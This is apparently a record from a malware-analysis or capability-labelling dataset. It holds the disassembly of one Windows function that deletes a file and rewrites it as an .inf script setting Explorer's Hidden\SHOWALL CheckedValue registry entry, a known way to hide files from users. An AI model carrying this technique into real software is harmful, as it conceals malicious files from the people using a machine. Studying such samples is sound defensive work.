Function at 0x10065b40
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push esi
lea eax, [ebp - 0x404]
push str.HKLM__SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL___CheckedValue___0x00010001____d_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileW]
add esp, 0xc
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
mov dword [ebp - 0x40c], eax
cmp eax, 0xffffffff
je 0x10065bec
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0x408]
push eax
push 9
push str._Version_
push dword [ebp - 0x40c]
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 2
push 0x100c5bac
push dword [ebp - 0x40c]
call esi
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push edi
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10065c42
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0x408]
push eax
push 0x18
push str.Signature__Windows_NT__
push ebx
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 2
push 0x100c5bac
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10065c9c
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0x408]
push eax
push 0x10
push str._Defaultinstall_
push ebx
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 2
push 0x100c5bac
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10065cf6
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0x408]
push eax
push 9
push str.addREGGc
push ebx
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 2
push 0x100c5bac
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10065d54
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0x408]
push eax
push 4
push str._Gc_
push ebx
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 2
push 0x100c5bac
push ebx
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call ebx
jmp 0x10065d5a
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10065dc3
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [ebp - 0x404]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10065d90
push 0
lea eax, [ebp - 0x408]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x404]
push eax
push edi
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 2
push 0x100c5bac
push edi
call esi
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007aa10
mov esp, ebp
pop ebp
ret